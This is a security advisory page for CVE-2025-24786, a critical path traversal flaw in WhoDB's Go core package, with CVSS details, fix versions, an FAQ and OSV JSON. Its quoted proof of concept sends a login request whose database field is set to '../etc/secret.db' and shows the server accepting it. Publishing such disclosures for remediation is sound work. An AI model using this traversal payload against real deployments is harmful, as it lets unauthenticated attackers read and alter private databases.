CVE-2025-24786: Github.com/clidey/whodb/core Path Traversal Vulnerability

CRITICAL
Advisory Identifier: GHSA-9r4c-jwx3-3j76
CVSS 10.0
CWE-22
Published
Advisory Summary

CVE-2025-24786 is a CRITICAL (CVSS 10.0) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/clidey/whodb/core libraries in the Go ecosystem. The issue involves whodb has a path traversal opening sqlite3 database. Remediation is available by upgrading affected packages to version 0.0.0-20250127172032-547336ac73c8.

CVE-2025-24786 at a Glance

CVE Identifier CVE-2025-24786
GHSA Identifier GHSA-9r4c-jwx3-3j76
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Github.com/clidey/whodb/core
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2025-24786

To remediate this vulnerability, upgrade all affected Github.com/clidey/whodb/core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/clidey/whodb/core fixed: 0.0.0-20250127172032-547336ac73c8
Upgrade github.com/clidey/whodb/core to 0.0.0-20250127172032-547336ac73c8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/clidey/whodb/core

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-24786, inspect your project dependencies for Github.com/clidey/whodb/core:

inspect dependencies for github.com/clidey/whodb/core

Analyze the terminal output to locate any version of Github.com/clidey/whodb/core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20250127172032-547336ac73c8), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/clidey/whodb/core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary While the application only displays Sqlite3 databases present in the directory `/db`, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on. ### Details WhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in `/db/` (or alternatively `./tmp/` if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20 If no databases are present in the default directory, the UI indicates that the user is unable to open any databases: ![2025-01-22-12-12-42](https://github.com/user-attachments/assets/98ffbcf6-907d-4f90-bf11-2c921b2d93b3) The database file is an user-controlled value. This value is used in `.Join()` with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26 No checks are performed whether the database file that is eventually opened actually resides in the default directory `/db`. This allows an attacker to use path traversal (`../../`) in order to open any Sqlite3 database present on the system. ### PoC Before running the container, an example Sqlite3 database with dummy "secret" data was created: ```sh DB_FILE=$(mktemp) echo "CREATE TABLE secret_table (data TEXT); INSERT INTO secret_table VALUES ('secret data')" | sqlite3 "$DB_FILE" ``` The container was then created with nothing mounted into `/db`, and the dummy database mounted into `/etc/secret.db`: ```sh podman run -d -p 8080:8080 -v "$DB_FILE":/etc/secret.db docker.io/clidey/whodb ``` The attacker sends a HTTP request to determine whether the `secret.db` is accessible by setting the `Database` value to `../etc/secret.db`: ```http POST /api/query HTTP/1.1 Host: localhost:8080 content-type: application/json ... {"operationName":"Login","variables":{"credentials":{"Type":"Sqlite3","Hostname":"","Database":"../etc/secret.db","Username":"","Password":"","Advanced":[]}},"query":"mutation Login($credentials: LoginCredentials!) {\n Login(credentials: $credentials) {\n Status\n __typename\n }\n}"} ``` The server response indicates that the database was successfully opened: ```http HTTP/1.1 200 OK Content-Type: application/json Set-Cookie: Token=eyJUeXBlIjoiU3FsaXRlMyIsIkhvc3RuYW1lIjoiIiwiVXNlcm5hbWUiOiIiLCJQYXNzd29yZCI6IiIsIkRhdGFiYXNlIjoiLi4vZXRjL3NlY3JldC5kYiJ9; Path=/; Expires=Thu, 23 Jan 2025 10:35:43 GMT; HttpOnly ... {"data":{"Login":{"Status":true,"__typename":"StatusResponse"}}} ``` The `Set-Cookie` `Token` value is simply a Base64-encoded string with a JSON payload containing the connection details: ```json { "Type": "Sqlite3", "Hostname": "", "Username": "", "Password": "", "Database": "../etc/secret.db" } ``` The attacker may set this cookie in the browser manually (alongside corresponding profiles in Local Storage) in order to open this database in the WhoDB application graphically. An easy way to perform this is by using a HTTP proxy such as Burp Suite, intercepting the login request and swapping the `Database` value to `../etc/secret.db`. Doing so, the attacker can then browse the database, its tables and the data within: ![2025-01-22-12-36-25](https://github.com/user-attachments/assets/c28f1273-7a3c-49e8-bb73-d08a09c7521d) The attacker may also insert or modify data using either the buttons presented in the UI or the _Scratchpad_ functionality. In this proof-of-concept, the attacker inserts a new row using the _Add Row_ button: ![2025-01-22-12-36-49](https://github.com/user-attachments/assets/dbd86beb-9969-464c-9a28-a19d470d0f52) ### Impact Allows an unauthenticated attacker to open and read any Sqlite3 databases present on the system WhoDB is running on. If WhoDB has write permissions for the database file, the attacker is also able to modify the opened database. The attacker is unable to create new databases; however, files which already exist but have no content (0-length files) may be opened and modified as fresh databases. ### Recommendations Before attempting to open the database, resolve and normalize the path to the database and check whether it is in the default directory. If not, present the user with an error.

CVE-2025-24786 Affected Github.com/clidey/whodb/core Versions

1 component(s)
Fixed Versions:
0.0.0-20250127172032-547336ac73c8
Product / Package Ecosystem Affected Versions Fixed Version
github.com/clidey/whodb/core
Go
< 0.0.0-20250127172032-547336ac73c8
0.0.0-20250127172032-547336ac73c8

References

Frequently Asked Questions

What is CVE-2025-24786?
CVE-2025-24786 is a security vulnerability in Github.com/clidey/whodb/core involving WhoDB has a path traversal opening Sqlite3 database under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Github.com/clidey/whodb/core versions are affected?
Affected versions include releases prior to 0.0.0-20250127172032-547336ac73c8 across affected packages: github.com/clidey/whodb/core.
What version fixes CVE-2025-24786?
Upgrading to 0.0.0-20250127172032-547336ac73c8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/clidey/whodb/core affected?
Yes, github.com/clidey/whodb/core is affected in releases prior to 0.0.0-20250127172032-547336ac73c8. Upgrade your dependency to 0.0.0-20250127172032-547336ac73c8 or later.
What is the CVSS score of CVE-2025-24786?
CVE-2025-24786 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2025-24786?
CVE-2025-24786 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2025-24786?
Run the dependency tree command: 'inspect dependencies for github.com/clidey/whodb/core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9r4c-jwx3-3j76",
  "modified" : "2025-02-07T17:35:11Z",
  "published" : "2025-02-06T19:58:24Z",
  "aliases" : [ "CVE-2025-24786" ],
  "summary" : "WhoDB has a path traversal opening Sqlite3 database",
  "details" : "### Summary\n\nWhile the application only displays Sqlite3 databases present in the directory `/db`, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on.\n\n### Details\n\nWhoDB allows users to connect to Sqlite3 databases. By default, the databases must be present in `/db/` (or alternatively `./tmp/` if development mode is enabled). Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20\n\nIf no databases are present in the default directory, the UI indicates that the user is unable to open any databases:\n\n![2025-01-22-12-12-42](https://github.com/user-attachments/assets/98ffbcf6-907d-4f90-bf11-2c921b2d93b3)\n\nThe database file is an user-controlled value. This value is used in `.Join()` with the default directory, in order to get the full path of the database file to open. Source: https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26\n\nNo checks are performed whether the database file that is eventually opened actually resides in the default directory `/db`.\n\nThis allows an attacker to use path traversal (`../../`) in order to open any Sqlite3 database present on the system. \n\n### PoC\n\nBefore running the container, an example Sqlite3 database with dummy \"secret\" data was created:\n```sh\nDB_FILE=$(mktemp)\necho \"CREATE TABLE secret_table (data TEXT); INSERT INTO secret_table VALUES ('secret data')\" | sqlite3 \"$DB_FILE\"\n```\n\nThe container was then created with nothing mounted into `/db`, and the dummy database mounted into `/etc/secret.db`:\n```sh\npodman run -d -p 8080:8080 -v \"$DB_FILE\":/etc/secret.db docker.io/clidey/whodb\n```\n\nThe attacker sends a HTTP request to determine whether the `secret.db` is accessible by setting the `Database` value to `../etc/secret.db`:\n```http\nPOST /api/query HTTP/1.1\nHost: localhost:8080\ncontent-type: application/json\n...\n\n{\"operationName\":\"Login\",\"variables\":{\"credentials\":{\"Type\":\"Sqlite3\",\"Hostname\":\"\",\"Database\":\"../etc/secret.db\",\"Username\":\"\",\"Password\":\"\",\"Advanced\":[]}},\"query\":\"mutation Login($credentials: LoginCredentials!) {\\n  Login(credentials: $credentials) {\\n    Status\\n    __typename\\n  }\\n}\"}\n```\n\nThe server response indicates that the database was successfully opened:\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json\nSet-Cookie: Token=eyJUeXBlIjoiU3FsaXRlMyIsIkhvc3RuYW1lIjoiIiwiVXNlcm5hbWUiOiIiLCJQYXNzd29yZCI6IiIsIkRhdGFiYXNlIjoiLi4vZXRjL3NlY3JldC5kYiJ9; Path=/; Expires=Thu, 23 Jan 2025 10:35:43 GMT; HttpOnly\n...\n\n{\"data\":{\"Login\":{\"Status\":true,\"__typename\":\"StatusResponse\"}}}\n```\n\nThe `Set-Cookie` `Token` value is simply a Base64-encoded string with a JSON payload containing the connection details:\n```json\n{\n  \"Type\": \"Sqlite3\",\n  \"Hostname\": \"\",\n  \"Username\": \"\",\n  \"Password\": \"\",\n  \"Database\": \"../etc/secret.db\"\n}\n``` \n\nThe attacker may set this cookie in the browser manually (alongside corresponding profiles in Local Storage) in order to open this database in the WhoDB application graphically. An easy way to perform this is by using a HTTP proxy such as Burp Suite, intercepting the login request and swapping the `Database` value to `../etc/secret.db`.\n\nDoing so, the attacker can then browse the database, its tables and the data within:\n\n![2025-01-22-12-36-25](https://github.com/user-attachments/assets/c28f1273-7a3c-49e8-bb73-d08a09c7521d)\n\nThe attacker may also insert or modify data using either the buttons presented in the UI or the _Scratchpad_ functionality. In this proof-of-concept, the attacker inserts a new row using the _Add Row_ button:\n\n![2025-01-22-12-36-49](https://github.com/user-attachments/assets/dbd86beb-9969-464c-9a28-a19d470d0f52)\n\n### Impact\n\nAllows an unauthenticated attacker to open and read any Sqlite3 databases present on the system WhoDB is running on. If WhoDB has write permissions for the database file, the attacker is also able to modify the opened database.\n\nThe attacker is unable to create new databases; however, files which already exist but have no content (0-length files) may be opened and modified as fresh databases.\n\n### Recommendations\n\nBefore attempting to open the database, resolve and normalize the path to the database and check whether it is in the default directory. If not, present the user with an error.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/clidey/whodb/core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20250127172032-547336ac73c8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/clidey/whodb/security/advisories/GHSA-9r4c-jwx3-3j76"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-24786"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/clidey/whodb/commit/547336ac73c8d17929c18c3941c0d5b0099753cc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/clidey/whodb"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L14-L20"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/clidey/whodb/blob/ba6eb81d0ca40baead74bca58b2567166999d6a6/core/src/plugins/sqlite3/db.go#L26"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-02-06T19:58:24Z",
    "nvd_published_at" : "2025-02-06T19:15:20Z"
  }
}